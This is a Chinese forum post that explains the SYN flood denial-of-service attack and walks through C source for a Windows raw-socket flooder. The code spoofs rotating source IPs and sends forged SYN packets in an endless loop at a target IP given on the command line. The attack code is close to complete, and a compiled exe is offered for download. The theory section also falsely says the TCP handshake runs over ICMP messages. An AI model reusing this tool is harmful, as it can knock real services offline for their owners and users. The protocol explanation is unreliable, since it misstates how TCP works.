返回列表 发帖

[入侵攻击]洪水攻击原理及代码实现全攻略[附源代码]

声明:本文所提供的资料仅仅限于技术交流和学习,请不要用于其他非法目的,维护网络安全是我们的共同责任。    下载本文源代码和例程   一、 什么是洪水攻击   洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。   在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。   二、 洪水攻击的原理   洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。   那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?   我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢?   假设有两台机器A和B。A使用TCP协议连接B,在建立连接之前,A先发一个ICMP报文(就是一个数据包)给B,B在接收到这个数据包后,利用ICMP报文中的源地址(也就是A的IP)再给A发一个ICMP报文,A在接到这个ICMP报文后,又给B发了一个ICMP报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示: 图1 TCP连接的三次握手   问题就出在第二次握手上。如果是ICMP的报文的话,ICMP的源地址应该是A的IP,但如果是一个非法的ICMP报文的话,ICMP的源地址可能并不是A的IP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到A,B也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,B的CPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。 三、 洪水攻击的实现   在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。   由于ICMP报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。
  1. typedef struct _iphdr //定义IP首部
  2. {
  3.  unsigned char h_verlen; //4位首部长度,4位IP版本号
  4.  unsigned char tos; //8位服务类型TOS
  5.  unsigned short total_len; //16位总长度(字节)
  6.  unsigned short ident; //16位标识
  7.  unsigned short frag_and_flags; //3位标志位
  8.  unsigned char ttl; //8位生存时间 TTL
  9.  unsigned char proto; //8位协议 (TCP, UDP 或其他)
  10.  unsigned short checksum; //16位IP首部校验和
  11.  unsigned int sourceIP; //32位源IP地址
  12.  unsigned int destIP; //32位目的IP地址
  13. } IP_HEADER;
复制代码
  这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解 卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:
  1. USHORT checksum(USHORT *buffer, int size)
  2. {
  3.  unsigned long cksum=0;
  4.  while(size >1)
  5.  {
  6.   cksum+=*buffer++;
  7.   size -=sizeof(USHORT);
  8.  }
  9.  if(size )
  10.  {
  11.   cksum += *(UCHAR*)buffer;
  12.  }
  13.  cksum = (cksum >> 16) + (cksum & 0xffff);
  14.  cksum += (cksum >>16);
  15.  return (USHORT)(~cksum);
  16. }
复制代码
  看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。   由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。
  1. struct //定义TCP伪首部
  2. {
  3.  unsigned long saddr; //源地址
  4.  unsigned long daddr; //目的地址
  5.  char mbz;
  6.  char ptcl; //协议类型
  7.  unsigned short tcpl; //TCP长度
  8. } psd_header;
  9. typedef struct _tcphdr //定义TCP首部
  10. {
  11.  USHORT th_sport; //16位源端口
  12.  USHORT th_dport; //16位目的端口
  13.  unsigned int th_seq; //32位序列号
  14.  unsigned int th_ack; //32位确认号
  15.  unsigned char th_lenres;//4位首部长度/6位保留字
  16.  unsigned char th_flag;//6位标志位
  17.  USHORT th_win; //16位窗口大小
  18.  USHORT th_sum; //16位校验和
  19.  USHORT th_urp; //16位紧急数据偏移量
  20. } TCP_HEADER;
复制代码
  在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。
  1. &#35;include <winsock2.h>
  2. &#35;include <Ws2tcpip.h>
  3. &#35;include <stdio.h>
  4. &#35;include <stdlib.h>
  5. &#35;define SEQ 0x28376839
  6. &#35;define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP
  7. &#35;define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP
  8. &#35;define STATUS_FAILED 0xFFFF//错误返回值
  9. int main(int argc, char **argv)
  10. {
  11.  int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
  12.  int TimeOut=2000,SendSEQ=0;
  13.  char SendBuf[128]; // 每个数据包是128个字节
  14.  char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP
  15.  memset(DestIP, 0, 4);
  16.  // 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
  17.  if(argc < 2)
  18.   strcpy(DestIP, SYN_DEST_IP);
  19.  else
  20.   strcpy(DestIP, argv[1]);
  21.   // 以下是声明Socket变量和相应的数据结构
  22.  WSADATA wsaData;
  23.  SOCKET SockRaw=(SOCKET)NULL;
  24.  struct sockaddr_in DestAddr;
  25.  IP_HEADER ip_header;
  26.  TCP_HEADER tcp_header;
  27.  … …
  28. }
复制代码
下一步就是初始化Raw Socket
  1. //初始化SOCK_RAW
  2. if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本
  3. {
  4.  fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
  5.  ExitProcess(STATUS_FAILED);
  6. } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
  7. if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息
  8. {
  9.  fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
  10.  ExitProcess(STATUS_FAILED);
  11. }
复制代码
 第二步就是填充刚才定义的那些数据结构
  1. //设置IP_HDRINCL以自己填充IP首部
  2. ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
  3. if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n");
  4. __try{
  5.  //设置发送超时
  6.  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
  7.  if(ErrorCode==SOCKET_ERROR)
  8.  {
  9.   fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
  10.   __leave;
  11.  }
  12.  memset(&DestAddr,0,sizeof(DestAddr));
  13.  DestAddr.sin_family=AF_INET;
  14.  DestAddr.sin_addr.s_addr=inet_addr(DestIP);
  15.  FakeIpNet=inet_addr(FAKE_IP);
  16.  FakeIpHost=ntohl(FakeIpNet);
  17.  //填充IP首部
  18.  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
  19.  //高四位IP版本号,低四位首部长度
  20.  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
  21.  ip_header.ident=1; //16位标识
  22.  ip_header.frag_and_flags=0; //3位标志位
  23.  ip_header.ttl=128; //8位生存时间TTL
  24.  ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)
  25.  ip_header.checksum=0;//16位IP首部校验和
  26.  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
  27.  ip_header.destIP=inet_addr(DestIP); //32位目的IP地址
  28.  //填充TCP首部
  29.  tcp_header.th_sport=htons(7000);//源端口号
  30.  tcp_header.th_dport=htons(8080);//目的端口号
  31.  tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
  32.  tcp_header.th_ack=0; //ACK序列号置为0
  33.  tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位
  34.  tcp_header.th_flag=2; //SYN 标志
  35.  tcp_header.th_win=htons(16384); //窗口大小
  36.  tcp_header.th_urp=0; //偏移
  37.  tcp_header.th_sum=0; //校验和
  38.  //填充TCP伪首部(用于计算校验和,并不真正发送)
  39.  psd_header.saddr=ip_header.sourceIP;//源地址
  40.  psd_header.daddr=ip_header.destIP;//目的地址
  41.  psd_header.mbz=0;
  42.  psd_header.ptcl=IPPROTO_TCP;//协议类型
  43.  psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度
复制代码
  最后一步是通过一个while循环发送向目标机器发送报文
  1. while(1)
  2. {
  3.  //每发送10000个报文输出一个标示符
  4.  printf(".");
  5.  for(counter=0;counter<10000;counter++){
  6.   if(SendSEQ++==65536) SendSEQ=1;//序列号循环
  7.   //更改IP首部
  8.   ip_header.checksum=0;//16位IP首部校验和
  9.   ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
  10.   //更改TCP首部
  11.   tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
  12.   tcp_header.th_sum=0; //校验和
  13.   //更改TCP Pseudo Header
  14.   psd_header.saddr=ip_header.sourceIP;
  15.   //计算TCP校验和,计算校验和时需要包括TCP pseudo header
  16.   memcpy(SendBuf,&psd_header,sizeof(psd_header));
  17.   memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  18.   tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
  19.   //计算IP校验和
  20.   memcpy(SendBuf,&ip_header,sizeof(ip_header));
  21.   memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
  22.   memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
  23.   datasize=sizeof(ip_header)+sizeof(tcp_header);
  24.   ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
  25.   //填充发送缓冲区
  26.   memcpy(SendBuf,&ip_header,sizeof(ip_header));
  27.   //发送TCP报文
  28.   ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
  29.   if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
  30.  }
  31. }
复制代码
  到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。 图2 攻击软件运行界面

返回列表 回复 发帖